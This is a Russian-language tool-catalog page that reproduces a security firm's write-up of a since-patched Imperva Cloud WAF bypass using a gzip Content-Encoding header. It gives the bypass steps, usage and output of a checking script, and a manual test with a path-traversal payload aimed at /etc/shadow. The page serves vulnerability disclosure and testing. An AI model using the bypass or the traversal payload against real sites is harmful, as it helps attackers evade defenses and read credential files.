Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/bishopfox/imperva_gzip_waf_bypass
Анализ уязвимостейОбход IDS/IPSЭксплуатация веб-приложенийОбход WAFТестирование на Проникновение
GitHubbishopfox/imperva_gzip_waf_bypass

Imperva_gzip_WAF_Bypass

Эксплойт для обхода Imperva Cloud WAF с помощью заголовка gzip Content-Encoding, позволяющий обойти правила WAF в HTTP POST-запросах. Включает скрипт обнаружения и шаги ручного тестирования.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
168294 лет назадПроверено Kitploit

Imperva Web Application Firewall (WAF): обход через POST-запросы

Imperva Cloud WAF был уязвим к обходу, который позволяет злоумышленникам обходить правила WAF при отправке вредоносных полезных нагрузок HTTP POST, таких как эксплойты log4j, SQL-инъекции, выполнение команд, обход каталога, XXE и т. д.

Устранение уязвимости

Команда Imperva отнеслась к этому очень серьёзно с момента сообщения и развернула глобальное исправление всего за несколько дней. Браво. Все клиенты Cloud WAF автоматически получили исправление по состоянию на 22 декабря 2021 года. С Imperva было отлично работать; у них, безусловно, зрелая, опытная и компетентная команда безопасности.

Эксплуатация

Добавьте заголовок Content-Encoding: gzip к HTTP POST-запросам. Оставьте данные POST как есть. Не кодируйте их. До тех пор, пока первые четыре байта заголовка Content-Encoding равны gzip, никакие правила WAF не будут применяться к POST-запросам.

Это можно сделать в Burp с помощью функции Match & Replace прокси:

Добавьте новый заголовок следующим образом:

Всё, можно работать.

Запуск тестового скрипта

Запустите imperva_gzip.py для URL-адреса, поддерживающего POST-запросы, следующим образом:

Синтаксис: ./imperva_gzip.py [[-t] | [-r]] URL

Определение типа WAF для указанного URL:

root@kitploit:~
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare

Проверка, уязвим ли WAF к обходу через gzip:

root@kitploit:~
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[+] Checking for Imperva WAF...
[+] Attempting gzip bypass for UNIX trigger...
[+] Vulnerable! HTTP response code: 200
[+] Attempting gzip bypass for Windows trigger...
[+] Vulnerable! HTTP response code: 200

Если вы получите эту ошибку:

root@kitploit:~
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302

то попробуйте передать -r в командной строке, чтобы включить свободный режим. Свободный режим по умолчанию выключен, то есть ожидается, что POST-запрос получит ответ HTTP 200 от сервера. -r расширяет допустимые ответы до HTTP 2xx, 3xx.

Использование в скриптах

Коды выхода для imperva_gzip.py следующие:

root@kitploit:~
0: Returned after getting WAF type.
1: Command-line was invalid.
2: There was an error connecting. Could be DNS error, timeout, etc.
3: No WAF was detected; malicious UNIX/Windows payloads weren't blocked.
4: A WAF was detected, but it wasn't Imperva.
5: The server responded to a test POST request with something other than HTTP 200.
128: There is an Imperva WAF, but it is not vulnerable to the gzip bypass.
129: The bypass was effective for the UNIX payload, but not the Windows one.
130: The bypass was effective for the Windows payload, but not the UNIX one.
131: The bypass was effective against both Windows and UNIX payloads.

Процесс ручной проверки уязвимости

Отправьте три POST-запроса:

  1. Установите базовый POST-запрос/ответ с допустимым, но безвредным POST-запросом
  2. Вызовите срабатывание Imperva WAF, используя тот же POST-запрос, но с дополнительными «вредоносными» данными, например &test=../../../../../../../etc/shadow в теле запроса, чтобы убедиться, что Imperva блокирует его
  3. Добавьте заголовок Content-Encoding: gzip к тому же вредоносному запросу и убедитесь, что Imperva его не блокирует

Другие кодировки

Согласно https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding, для заголовка Content-Encoding существует четыре допустимых значения:

  • compress
  • deflate
  • gzip
  • br

В ходе тестирования в качестве обхода сработал только gzip.

Затронутые версии

Imperva Cloud WAF

Cloud WAF управляется компанией Imperva. В результате обновления Cloud WAF затрагивают почти всех клиентов почти одновременно. Исправление установлено для всех клиентов по состоянию на 22 декабря 2021 года.

SecureSphere

Ошибка обхода gzip была исправлена в отдельном продукте Imperva под названием SecureSphere. Примечания к выпуску v12.6 SecureSphere содержат следующий абзац:

SPHR-58185: Когда SecureSphere не удавалось декомпрессировать тело POST-запроса в запросах с заголовком «Content-Encoding: gzip/deflate», предупреждение не выдавалось, и запрос пропускался.

Я почти уверен, что это та же ошибка, возможно, с тем же происхождением кода, что и Cloud WAF... это довольно специфическая ошибка, чтобы оказаться в двух продуктах. Проблема была решена для SecureSphere в феврале 2021 года, но мы не знаем, когда она появилась. Возможно, уязвимость существовала годами!

Контакты

Bishop Fox

  • Автор: @carllivitt @bishopfox
  • Наступательная безопасность: Bishop Fox
  • Непрерывная наступательная безопасность: Bishop Fox Cosmos
  • Безумные учёные: Bishop Fox Labs

Imperva

Поддержка клиентов Imperva: https://www.imperva.com/support/technical-support/

Ссылки

  • Imperva Cloud WAF
  • Примечания к выпуску Imperva SecureSphere 12.6
  • Заголовок HTTP Content-Encoding
Скачать инструмент